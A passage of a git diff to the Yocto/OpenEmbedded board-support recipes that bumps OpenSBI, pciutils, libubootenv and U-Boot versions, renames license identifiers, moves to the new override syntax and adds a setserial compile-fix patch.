+ sbi_fdt = d.getVar('RISCV_SBI_FDT')
+ deploy_dir = d.getVar('DEPLOY_DIR_IMAGE')
- if sbi_payload is None:
+ if sbi_fdt is None:
+ return ""
+
+ return "FW_FDT_PATH=" + deploy_dir + "/" + sbi_fdt
+
+def riscv_get_do_compile_depends(d):
+ sbi_payload = d.getVar('RISCV_SBI_PAYLOAD') or ""
+ if sbi_payload == "":
return ""
+ sbi_fdt = d.getVar('RISCV_SBI_FDT') or ""
+
+ if sbi_fdt != "" and 'u-boot.bin' in sbi_payload:
+ return "virtual/kernel:do_deploy virtual/bootloader:do_deploy"
+
if 'linux' in sbi_payload or 'Image' in sbi_payload:
return "virtual/kernel:do_deploy"
if 'u-boot.bin' in sbi_payload:
return "virtual/bootloader:do_deploy"
+ if sbi_fdt != "":
+ return "virtual/kernel:do_deploy"
return ""
diff --git a/meta/recipes-bsp/opensbi/opensbi_0.8.bb b/meta/recipes-bsp/opensbi/opensbi_0.8.bb
deleted file mode 100644
index 818efac733..0000000000
--- a/meta/recipes-bsp/opensbi/opensbi_0.8.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-SUMMARY = "RISC-V Open Source Supervisor Binary Interface (OpenSBI)"
-DESCRIPTION = "OpenSBI aims to provide an open-source and extensible implementation of the RISC-V SBI specification for a platform specific firmware (M-mode) and a general purpose OS, hypervisor or bootloader (S-mode or HS-mode). OpenSBI implementation can be easily extended by RISC-V platform or System-on-Chip vendors to fit a particular hadware configuration."
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING.BSD;md5=42dd9555eb177f35150cf9aa240b61e5"
-
-require opensbi-payloads.inc
-
-inherit autotools-brokensep deploy
-
-SRCREV = "a98258d0b537a295f517bbc8d813007336731fa9"
-SRC_URI = "git://github.com/riscv/opensbi.git;branch=master \
- file://0001-Makefile-Don-t-specify-mabi-or-march.patch \
- "
-
-S = "${WORKDIR}/git"
-
-EXTRA_OEMAKE += "PLATFORM=${RISCV_SBI_PLAT} I=${D}"
-# If RISCV_SBI_PAYLOAD is set then include it as a payload
-EXTRA_OEMAKE_append = " ${@riscv_get_extra_oemake_image(d)}"
-
-# Required if specifying a custom payload
-do_compile[depends] += "${@riscv_get_do_compile_depends(d)}"
-
-do_install_append() {
- # In the future these might be required as a dependency for other packages.
- # At the moment just delete them to avoid warnings
- rm -r ${D}/include
- rm -r ${D}/lib*
- rm -r ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/payloads
-}
-
-do_deploy () {
- install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_payload.* ${DEPLOYDIR}/
- install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_jump.* ${DEPLOYDIR}/
- install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_dynamic.* ${DEPLOYDIR}/
-}
-
-addtask deploy before do_build after do_install
-
-FILES_${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_jump.*"
-FILES_${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_payload.*"
-FILES_${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_dynamic.*"
-
-COMPATIBLE_HOST = "(riscv64|riscv32).*"
-INHIBIT_PACKAGE_STRIP = "1"
-
-SECURITY_CFLAGS = ""
diff --git a/meta/recipes-bsp/opensbi/opensbi_1.4.bb b/meta/recipes-bsp/opensbi/opensbi_1.4.bb
new file mode 100644
index 0000000000..cf37a41176
--- /dev/null
+++ b/meta/recipes-bsp/opensbi/opensbi_1.4.bb
@@ -0,0 +1,47 @@
+SUMMARY = "RISC-V Open Source Supervisor Binary Interface (OpenSBI)"
+DESCRIPTION = "OpenSBI aims to provide an open-source and extensible implementation of the RISC-V SBI specification for a platform specific firmware (M-mode) and a general purpose OS, hypervisor or bootloader (S-mode or HS-mode). OpenSBI implementation can be easily extended by RISC-V platform or System-on-Chip vendors to fit a particular hadware configuration."
+HOMEPAGE = "https://github.com/riscv/opensbi"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING.BSD;md5=42dd9555eb177f35150cf9aa240b61e5"
+
+require opensbi-payloads.inc
+
+inherit autotools-brokensep deploy
+
+SRCREV = "a2b255b88918715173942f2c5e1f97ac9e90c877"
+SRC_URI = "git://github.com/riscv/opensbi.git;branch=master;protocol=https"
+
+S = "${WORKDIR}/git"
+
+TARGET_CC_ARCH += "${LDFLAGS}"
+
+EXTRA_OEMAKE += "PLATFORM=${RISCV_SBI_PLAT} I=${D} FW_PIC=y CLANG_TARGET= "
+# If RISCV_SBI_PAYLOAD is set then include it as a payload
+EXTRA_OEMAKE:append = " ${@riscv_get_extra_oemake_image(d)}"
+EXTRA_OEMAKE:append = " ${@riscv_get_extra_oemake_fdt(d)}"
+
+# Required if specifying a custom payload
+do_compile[depends] += "${@riscv_get_do_compile_depends(d)}"
+
+do_install:append() {
+ # In the future these might be required as a dependency for other packages.
+ # At the moment just delete them to avoid warnings
+ rm -r ${D}/include
+ rm -r ${D}/lib*
+ rm -r ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/payloads
+}
+
+do_deploy () {
+ install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_payload.* ${DEPLOYDIR}/
+ install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_jump.* ${DEPLOYDIR}/
+ install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_dynamic.* ${DEPLOYDIR}/
+}
+
+addtask deploy before do_build after do_install
+
+FILES:${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_jump.*"
+FILES:${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_payload.*"
+FILES:${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_dynamic.*"
+
+COMPATIBLE_HOST = "(riscv64|riscv32).*"
+INHIBIT_PACKAGE_STRIP = "1"
diff --git a/meta/recipes-bsp/pciutils/pciutils/configure.patch b/meta/recipes-bsp/pciutils/pciutils/configure.patch
index e444c13975..5015cf4884 100644
--- a/meta/recipes-bsp/pciutils/pciutils/configure.patch
+++ b/meta/recipes-bsp/pciutils/pciutils/configure.patch
@@ -1,9 +1,14 @@
+From 561216c8cbc280aaa9aecf30cb11835a4a0a78ed Mon Sep 17 00:00:00 2001
+From: Richard Purdie <rpurdie@linux.intel.com>
+Date: Wed, 31 Dec 2008 17:20:38 +0000
+Subject: [PATCH] pciutils: Upgarde 2.2.4 -> 3.0.3
+
This patch:
* ensures we link correctly
* allows us to optionally pass target information to configure rather than using uname
* select linux as the platform in most cases we care about
-This is a merge of various tweaks to allow us to build pciutils including
+This is a merge of various tweaks to allow us to build pciutils including
work from:
7/30/2010 - Qing He <qing.he@intel.com>
@@ -12,24 +17,28 @@ Ionut Radu <ionutx.radu@intel.com>
2017/6/15 - RP - Cleanups and merging patches
Upstream-Status: Inappropriate [embedded specific]
+---
+ Makefile | 2 +-
+ lib/configure | 14 ++++++++++----
+ 2 files changed, 11 insertions(+), 5 deletions(-)
-Index: pciutils-3.5.6/Makefile
-===================================================================
---- pciutils-3.5.6.orig/Makefile
-+++ pciutils-3.5.6/Makefile
-@@ -96,7 +96,7 @@ example: example.o lib/$(PCILIB)
- example.o: example.c $(PCIINC)
+diff --git a/Makefile b/Makefile
+index aaec04e..9c1dab0 100644
+--- a/Makefile
++++ b/Makefile
+@@ -123,7 +123,7 @@ pcilmr$(EXEEXT): pcilmr.o $(LMROBJS) $(COMMON) lib/$(PCIIMPLIB)
+ pcilmr.o: pcilmr.c $(LMRINC)
- %: %.o
+ %$(EXEEXT): %.o
- $(CC) $(LDFLAGS) $(TARGET_ARCH) $^ $(LDLIBS) -o $@
+ $(CC) $(LDFLAGS) $(TARGET_ARCH) $^ $(LIB_LDLIBS) $(LDLIBS) -o $@
- %.8 %.7 %.5: %.man
- M=`echo $(DATE) | sed 's/-01-/-January-/;s/-02-/-February-/;s/-03-/-March-/;s/-04-/-April-/;s/-05-/-May-/;s/-06-/-June-/;s/-07-/-July-/;s/-08-/-August-/;s/-09-/-September-/;s/-10-/-October-/;s/-11-/-November-/;s/-12-/-December-/;s/\(.*\)-\(.*\)-\(.*\)/\3 \2 \1/'` ; sed <$< >$@ "s/@TODAY@/$$M/;s/@VERSION@/pciutils-$(VERSION)/;s#@IDSDIR@#$(IDSDIR)#"
-Index: pciutils-3.5.6/lib/configure
-===================================================================
---- pciutils-3.5.6.orig/lib/configure
-+++ pciutils-3.5.6/lib/configure
+ ifdef PCI_OS_WINDOWS
+ comma := ,
+diff --git a/lib/configure b/lib/configure
+index 3df057a..c87e71c 100755
+--- a/lib/configure
++++ b/lib/configure
@@ -9,6 +9,10 @@ echo_n() {
printf '%s' "$*"
}
@@ -38,7 +47,7 @@ Index: pciutils-3.5.6/lib/configure
+IDSDIR=$2
+DNS=yes
+
- if [ -z "$VERSION" -o -z "$IDSDIR" ] ; then
+ if [ -z "$VERSION" ] ; then
echo >&2 "Please run the configure script from the top-level Makefile"
exit 1
@@ -16,8 +20,8 @@ fi
@@ -56,12 +65,12 @@ Index: pciutils-3.5.6/lib/configure
proc=`/usr/sbin/lsdev -C -c processor -S available -F name | head -1`
cpu=`/usr/sbin/lsattr -F value -l $proc -a type | sed 's/_.*//'`
else
-- cpu=`uname -m | sed 's/^i.86$/i386/;s/^sun4u$/sparc64/;s/^i86pc$/i386/;s/^BePC$/i386/;s/^BeMac$/powerpc/;s/^BeBox$/powerpc/'`
-+ cpu=${4:-`uname -m | sed 's/^i.86$/i386/;s/^sun4u$/sparc64/;s/^i86pc$/i386/;s/^BePC$/i386/;s/^BeMac$/powerpc/;s/^BeBox$/powerpc/'`}
+- cpu=`uname -m | sed 's/^i.86-AT386/i386/;s/^i.86$/i386/;s/^sun4u$/sparc64/;s/^i86pc$/i386/;s/^BePC$/i386/;s/^BeMac$/powerpc/;s/^BeBox$/powerpc/'`
++ cpu=${4:-`uname -m | sed 's/^i.86-AT386/i386/;s/^i.86$/i386/;s/^sun4u$/sparc64/;s/^i86pc$/i386/;s/^BePC$/i386/;s/^BeMac$/powerpc/;s/^BeBox$/powerpc/'`}
fi
- if [ "$sys" = "GNU/kFreeBSD" -o "$sys" = "DragonFly" ]
+ if [ "$sys" = "DragonFly" ]
then
-@@ -35,7 +39,7 @@ if [ -z "$HOST" ] ; then
+@@ -43,7 +47,7 @@ if [ -z "$HOST" ] ; then
then
sys=cygwin
fi
@@ -70,7 +79,7 @@ Index: pciutils-3.5.6/lib/configure
fi
[ -n "$RELEASE" ] && rel="${RELEASE}"
# CAVEAT: tr on Solaris is a bit weird and the extra [] is otherwise harmless.
-@@ -44,6 +48,8 @@ cpu=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
+@@ -52,6 +56,8 @@ cpu=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
sys=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
echo " $host $rel $cpu $sys"
diff --git a/meta/recipes-bsp/pciutils/pciutils_3.11.1.bb b/meta/recipes-bsp/pciutils/pciutils_3.11.1.bb
new file mode 100644
index 0000000000..044074ccc3
--- /dev/null
+++ b/meta/recipes-bsp/pciutils/pciutils_3.11.1.bb
@@ -0,0 +1,64 @@
+SUMMARY = "PCI utilities"
+DESCRIPTION = 'The PCI Utilities package contains a library for portable access \
+to PCI bus configuration space and several utilities based on this library.'
+HOMEPAGE = "http://atrey.karlin.mff.cuni.cz/~mj/pciutils.shtml"
+SECTION = "console/utils"
+
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+# Can drop make-native when all systems have make 4.3
+# https://git.savannah.gnu.org/cgit/make.git/commit/?id=b90fabc8d6f34fb37d428dc0fb1b8b1951a9fbed
+# causes space issues in lib/libpci.pc
+DEPENDS = "zlib kmod make-native"
+
+SRC_URI = "${KERNELORG_MIRROR}/software/utils/pciutils/pciutils-${PV}.tar.xz \
+ file://configure.patch"
+
+SRC_URI[sha256sum] = "3f472ad864473de5ba17f765cc96ef5f33e1b730918d3adda6f945a2a9290df4"
+
+inherit multilib_header pkgconfig update-alternatives
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'hwdb', '', d)}"
+PACKAGECONFIG[hwdb] = "HWDB=yes,HWDB=no,udev"
+
+PCI_CONF_FLAG = "ZLIB=yes DNS=yes SHARED=yes STRIP= LIBDIR=${libdir}"
+
+# see configure.patch
+do_configure () {
+ (
+ cd lib && \
+ # PACKAGECONFIG_CONFARGS for this recipe could only possibly contain 'HWDB=yes/no',
+ # so we put it before ./configure
+ ${PCI_CONF_FLAG} ${PACKAGECONFIG_CONFARGS} ./configure ${PV} ${datadir} ${TARGET_OS} ${TARGET_ARCH}
+ )
+}
+
+export PREFIX = "${prefix}"
+export SBINDIR = "${sbindir}"
+export SHAREDIR = "${datadir}"
+export MANDIR = "${mandir}"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS= ${PCI_CONF_FLAG}"
+
+ASNEEDED = ""
+
+# The configure script breaks if the HOST variable is set
+HOST[unexport] = "1"
+
+do_install () {
+ oe_runmake DESTDIR=${D} install install-lib
+
+ install -d ${D}${bindir}
+
+ oe_multilib_header pci/config.h
+}
+
+PACKAGES =+ "${PN}-ids libpci"
+FILES:${PN}-ids = "${datadir}/pci.ids*"
+FILES:libpci = "${libdir}/libpci.so.*"
+SUMMARY:${PN}-ids = "PCI utilities - device ID database"
+DESCRIPTION:${PN}-ids = "Package providing the PCI device ID database for pciutils."
+RDEPENDS:${PN} += "${PN}-ids"
+
+ALTERNATIVE:${PN} = "lspci"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-bsp/pciutils/pciutils_3.7.0.bb b/meta/recipes-bsp/pciutils/pciutils_3.7.0.bb
deleted file mode 100644
index 4f0edc01ed..0000000000
--- a/meta/recipes-bsp/pciutils/pciutils_3.7.0.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-SUMMARY = "PCI utilities"
-DESCRIPTION = 'The PCI Utilities package contains a library for portable access \
-to PCI bus configuration space and several utilities based on this library.'
-HOMEPAGE = "http://atrey.karlin.mff.cuni.cz/~mj/pciutils.shtml"
-SECTION = "console/utils"
-
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-DEPENDS = "zlib kmod"
-
-SRC_URI = "${KERNELORG_MIRROR}/software/utils/pciutils/pciutils-${PV}.tar.xz \
- file://configure.patch"
-
-SRC_URI[sha256sum] = "9d40b97be8b6a2cdf96aead5a61881d1f7e4e0da9544a9bac4fba1ae9dcd40eb"
-
-inherit multilib_header pkgconfig
-
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'hwdb', '', d)}"
-PACKAGECONFIG[hwdb] = "HWDB=yes,HWDB=no,udev"
-
-PCI_CONF_FLAG = "ZLIB=yes DNS=yes SHARED=yes STRIP= LIBDIR=${libdir}"
-
-# see configure.patch
-do_configure () {
- (
- cd lib && \
- # PACKAGECONFIG_CONFARGS for this recipe could only possibly contain 'HWDB=yes/no',
- # so we put it before ./configure
- ${PCI_CONF_FLAG} ${PACKAGECONFIG_CONFARGS} ./configure ${PV} ${datadir} ${TARGET_OS} ${TARGET_ARCH}
- )
-}
-
-export PREFIX = "${prefix}"
-export SBINDIR = "${sbindir}"
-export SHAREDIR = "${datadir}"
-export MANDIR = "${mandir}"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS= ${PCI_CONF_FLAG}"
-
-ASNEEDED = ""
-
-# The configure script breaks if the HOST variable is set
-HOST[unexport] = "1"
-
-do_install () {
- oe_runmake DESTDIR=${D} install install-lib
-
- install -d ${D}${bindir}
- ln -s ../sbin/lspci ${D}${bindir}/lspci
-
- oe_multilib_header pci/config.h
-}
-
-PACKAGES =+ "${PN}-ids libpci"
-FILES_${PN}-ids = "${datadir}/pci.ids*"
-FILES_libpci = "${libdir}/libpci.so.*"
-SUMMARY_${PN}-ids = "PCI utilities - device ID database"
-DESCRIPTION_${PN}-ids = "Package providing the PCI device ID database for pciutils."
-RDEPENDS_${PN} += "${PN}-ids"
diff --git a/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb b/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb
index cac09101c4..c7b95e57b0 100644
--- a/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb
+++ b/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb
@@ -2,11 +2,10 @@ SECTION = "base"
SUMMARY = "Utilities and scripts for power management"
DESCRIPTION = "Simple shell command line tools to suspend and hibernate."
HOMEPAGE = "http://pm-utils.freedesktop.org/wiki/"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://src/pm-pmu.c;beginline=1;endline=22;md5=3c1ddbc54e735fb4a0386e14c78a3147"
-PR = "r1"
SRC_URI = "http://pm-utils.freedesktop.org/releases/pm-utils-${PV}.tar.gz"
@@ -17,11 +16,14 @@ inherit pkgconfig autotools manpages
PACKAGECONFIG[manpages] = "--enable-doc, --disable-doc, libxslt-native xmlto-native"
-RDEPENDS_${PN} = "grep bash"
+RDEPENDS:${PN} = "bash"
-do_configure_prepend () {
+EXTRA_OECONF = "--libdir=${nonarch_libdir}"
+
+do_configure:prepend () {
( cd ${S}; autoreconf -f -i -s )
}
-FILES_${PN} += "${libdir}/${BPN}/*"
-FILES_${PN}-dbg += "${datadir}/doc/pm-utils/README.debugging"
+FILES:${PN} += "${nonarch_libdir}/${BPN}/*"
+FILES:${PN}-dbg += "${datadir}/doc/pm-utils/README.debugging"
+FILES:${PN}-dev += "${nonarch_libdir}/pkgconfig/pm-utils.pc"
diff --git a/meta/recipes-bsp/setserial/setserial/0001-setserial.c-Add-needed-system-headers-for-ioctl-and-.patch b/meta/recipes-bsp/setserial/setserial/0001-setserial.c-Add-needed-system-headers-for-ioctl-and-.patch
new file mode 100644
index 0000000000..10c6ae881b
--- /dev/null
+++ b/meta/recipes-bsp/setserial/setserial/0001-setserial.c-Add-needed-system-headers-for-ioctl-and-.patch
@@ -0,0 +1,41 @@
+From 9bbb342f5d9ad5dc75486fd35ada8e287ba19299 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 15 Aug 2022 13:03:17 -0700
+Subject: [PATCH] setserial.c: Add needed system headers for ioctl() and
+ close() calls
+
+Add int return type for main() function
+
+Fixes
+error: type specifier missing, defaults to 'int'; ISO C99 and later do not support implicit int [-Wimplicit-int]
+error: call to undeclared function 'close'; ISO C99 and later do not support implicit function declarations [-Wimplicit-function-declarat
+ion]
+
+Upstream-Status: Submitted [https://sourceforge.net/p/setserial/discussion/7060/thread/95d874c12c/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ setserial.c | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/setserial.c b/setserial.c
+index bfda8fd..6a95513 100644
+--- a/setserial.c
++++ b/setserial.c
+@@ -16,6 +16,8 @@
+ #include <termios.h>
+ #include <string.h>
+ #include <errno.h>
++#include <unistd.h>
++#include <sys/ioctl.h>
+
+ #ifdef HAVE_ASM_IOCTLS_H
+ #include <asm/ioctls.h>
+@@ -715,7 +717,7 @@ fprintf(stderr, "\t* port\t\tset the I/O port\n");
+ exit(1);
+ }
+
+-main(int argc, char **argv)
++int main(int argc, char **argv)
+ {
+ int get_flag = 0, wild_intr_flag = 0;
+ int c;
diff --git a/meta/recipes-bsp/setserial/setserial_2.17.bb b/meta/recipes-bsp/setserial/setserial_2.17.bb
index 8dbddd7dc5..98ab45145f 100644
--- a/meta/recipes-bsp/setserial/setserial_2.17.bb
+++ b/meta/recipes-bsp/setserial/setserial_2.17.bb
@@ -1,12 +1,10 @@
SUMMARY = "Controls the configuration of serial ports"
DESCRIPTION = "setserial is a program designed to set and/or report the configuration information associated with a serial port"
HOMEPAGE = "http://setserial.sourceforge.net"
-AUTHOR = "Theodore Ts'o <tytso@mit.edu>"
SECTION = "console/utils"
-LICENSE = "GPLv2.0"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://version.h;beginline=1;endline=6;md5=2e7c59cb9e57e356ae81f50f4e4dfd99"
-PR = "r3"
DEPENDS += "groff-native"
@@ -15,7 +13,8 @@ inherit autotools-brokensep
SRC_URI = "${SOURCEFORGE_MIRROR}/setserial/${BPN}-${PV}.tar.gz \
file://add_stdlib.patch \
file://ldflags.patch \
- "
+ file://0001-setserial.c-Add-needed-system-headers-for-ioctl-and-.patch \
+ "
SRC_URI[md5sum] = "c4867d72c41564318e0107745eb7a0f2"
SRC_URI[sha256sum] = "7e4487d320ac31558563424189435d396ddf77953bb23111a17a3d1487b5794a"
diff --git a/meta/recipes-bsp/u-boot/libubootenv_0.2.bb b/meta/recipes-bsp/u-boot/libubootenv_0.2.bb
deleted file mode 100644
index 3820ba262e..0000000000
--- a/meta/recipes-bsp/u-boot/libubootenv_0.2.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "U-Boot libraries and tools to access environment"
-
-DESCRIPTION = "This package contains tools and libraries to read \
-and modify U-Boot environment. \
-It provides a hardware-independent replacement for fw_printenv/setenv utilities \
-provided by U-Boot"
-
-HOMEPAGE = "https://github.com/sbabic/libubootenv"
-LICENSE = "LGPL-2.1"
-LIC_FILES_CHKSUM = "file://Licenses/lgpl-2.1.txt;md5=4fbd65380cdd255951079008b364516c"
-SECTION = "libs"
-
-PV = "0.2+git${SRCPV}"
-SRC_URI = "git://github.com/sbabic/libubootenv;protocol=https"
-SRCREV = "86bd30a14e153a18f670b25708795253d8736f0f"
-
-S = "${WORKDIR}/git"
-
-inherit cmake lib_package
-
-EXTRA_OECMAKE = "-DCMAKE_BUILD_TYPE=Release"
-
-DEPENDS = "zlib"
-PROVIDES += "u-boot-fw-utils"
-RPROVIDES_${PN}-bin += "u-boot-fw-utils"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-bsp/u-boot/libubootenv_0.3.5.bb b/meta/recipes-bsp/u-boot/libubootenv_0.3.5.bb
new file mode 100644
index 0000000000..b68bbb430a
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/libubootenv_0.3.5.bb
@@ -0,0 +1,26 @@
+SUMMARY = "U-Boot libraries and tools to access environment"
+
+DESCRIPTION = "This package contains tools and libraries to read \
+and modify U-Boot environment. \
+It provides a hardware-independent replacement for fw_printenv/setenv utilities \
+provided by U-Boot"
+
+HOMEPAGE = "https://github.com/sbabic/libubootenv"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://LICENSES/LGPL-2.1-or-later.txt;md5=4fbd65380cdd255951079008b364516c"
+SECTION = "libs"
+
+SRC_URI = "git://github.com/sbabic/libubootenv;protocol=https;branch=master"
+SRCREV = "3f4d15e36ceb58085b08dd13f3f2788e9299877b"
+
+S = "${WORKDIR}/git"
+
+inherit cmake lib_package
+
+EXTRA_OECMAKE = "-DCMAKE_BUILD_TYPE=Release"
+
+DEPENDS = "zlib libyaml"
+PROVIDES += "u-boot-fw-utils"
+RPROVIDES:${PN}-bin += "u-boot-fw-utils"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-bsp/u-boot/u-boot-common.inc b/meta/recipes-bsp/u-boot/u-boot-common.inc
index 9199bbfe0b..ca5357392a 100644
--- a/meta/recipes-bsp/u-boot/u-boot-common.inc
+++ b/meta/recipes-bsp/u-boot/u-boot-common.inc
@@ -4,19 +4,21 @@ ARM, MIPS and several other processors, which can be installed in a boot \
ROM and used to initialize and test the hardware or to download and run \
application code."
SECTION = "bootloaders"
-DEPENDS += "flex-native bison-native"
+DEPENDS += "flex-native bison-native python3-setuptools-native"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://Licenses/README;md5=30503fd321432fc713238f582193b78e"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://Licenses/README;md5=2ca5f2c35c8cc335f0a19756634782f1"
PE = "1"
# We use the revision in order to avoid having to fetch it from the
# repo during parse
-SRCREV = "2f5fbb5b39f7b67044dda5c35e4a4b31685a3109"
+SRCREV = "25049ad560826f7dc1c4740883b0016014a59789"
-SRC_URI = "git://git.denx.de/u-boot.git \
- "
+SRC_URI = "git://source.denx.de/u-boot/u-boot.git;protocol=https;branch=master"
S = "${WORKDIR}/git"
B = "${WORKDIR}/build"
+
+inherit pkgconfig
+
do_configure[cleandirs] = "${B}"
diff --git a/meta/recipes-bsp/u-boot/u-boot-configure.inc b/meta/recipes-bsp/u-boot/u-boot-configure.inc
new file mode 100644
index 0000000000..378d675364
--- /dev/null
+++ b/meta/recipes-bsp/u-boot/u-boot-configure.inc
@@ -0,0 +1,40 @@
+# This provides the logic for creating the desired u-boot config,
+# accounting for any *.cfg files added to SRC_URI. It's separated
+# from u-boot.inc for use by recipes that need u-boot properly
+# configured but aren't doing a full build of u-boot itself (such as
+# its companion tools).
+
+inherit uboot-config cml1
+
+DEPENDS += "kern-tools-native"
+
+CONFIGURE_FILES = "${@d.getVar('UBOOT_MACHINE') or '.config'}"
+
+do_configure () {
+ if [ -n "${UBOOT_CONFIG}" ]; then
+ unset i j
+ for config in ${UBOOT_MACHINE}; do
+ i=$(expr $i + 1);
+ for type in ${UBOOT_CONFIG}; do
+ j=$(expr $j + 1);
+ if [ $j -eq $i ]; then
+ oe_runmake -C ${S} O=${B}/${config} ${config}
+ if [ -n "${@' '.join(find_cfgs(d))}" ]; then
+ merge_config.sh -m -O ${B}/${config} ${B}/${config}/.config ${@" ".join(find_cfgs(d))}
+ oe_runmake -C ${S} O=${B}/${config} oldconfig
+ fi
+ fi
+ done
+ unset j
+ done
+ unset i
+ else
+ if [ -n "${UBOOT_MACHINE}" ]; then
+ oe_runmake -C ${S} O=${B} ${UBOOT_MACHINE}
+ else
+ oe_runmake -C ${S} O=${B} oldconfig
+ fi
+ merge_config.sh -m .config ${@" ".join(find_cfgs(d))}
+ cml1_do_configure
+ fi
+}
diff --git a/meta/recipes-bsp/u-boot/u-boot-tools.inc b/meta/recipes-bsp/u-boot/u-boot-tools.inc
index 8ae290acc6..f3010763c0 100644
--- a/meta/recipes-bsp/u-boot/u-boot-tools.inc
+++ b/meta/recipes-bsp/u-boot/u-boot-tools.inc
@@ -1,29 +1,48 @@
SUMMARY = "U-Boot bootloader tools"
-DEPENDS += "openssl"
+DEPENDS += "gnutls openssl util-linux swig-native"
-PROVIDES = "${MLPREFIX}u-boot-mkimage ${MLPREFIX}u-boot-mkenvimage"
-PROVIDES_class-native = "u-boot-mkimage-native u-boot-mkenvimage-native"
+inherit python3native
+export STAGING_INCDIR="${STAGING_INCDIR_NATIVE}"
-PACKAGES += "${PN}-mkimage ${PN}-mkenvimage"
+PROVIDES = "${MLPREFIX}u-boot-mkimage ${MLPREFIX}u-boot-mkenvimage ${MLPREFIX}u-boot-mkeficapsule"
+PROVIDES:class-native = "u-boot-mkimage-native u-boot-mkenvimage-native u-boot-mkeficapsule-native"
+
+PACKAGES += "${PN}-mkimage ${PN}-mkenvimage ${PN}-mkeficapsule"
# Required for backward compatibility with "u-boot-mkimage-xxx.bb"
-RPROVIDES_${PN}-mkimage = "u-boot-mkimage"
-RREPLACES_${PN}-mkimage = "u-boot-mkimage"
-RCONFLICTS_${PN}-mkimage = "u-boot-mkimage"
+RPROVIDES:${PN}-mkimage = "u-boot-mkimage"
+RREPLACES:${PN}-mkimage = "u-boot-mkimage"
+RCONFLICTS:${PN}-mkimage = "u-boot-mkimage"
-EXTRA_OEMAKE_class-target = 'CROSS_COMPILE="${TARGET_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
-EXTRA_OEMAKE_class-native = 'CC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
-EXTRA_OEMAKE_class-nativesdk = 'CROSS_COMPILE="${HOST_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
+EXTRA_OEMAKE:class-target = 'CROSS_COMPILE="${TARGET_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
+EXTRA_OEMAKE:class-native = 'CC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
+EXTRA_OEMAKE:class-nativesdk = 'CROSS_COMPILE="${HOST_PREFIX}" CC="${CC} ${CFLAGS} ${LDFLAGS}" HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" STRIP=true V=1'
SED_CONFIG_EFI = '-e "s/CONFIG_EFI_LOADER=.*/# CONFIG_EFI_LOADER is not set/"'
-SED_CONFIG_EFI_x86 = ''
-SED_CONFIG_EFI_x86-64 = ''
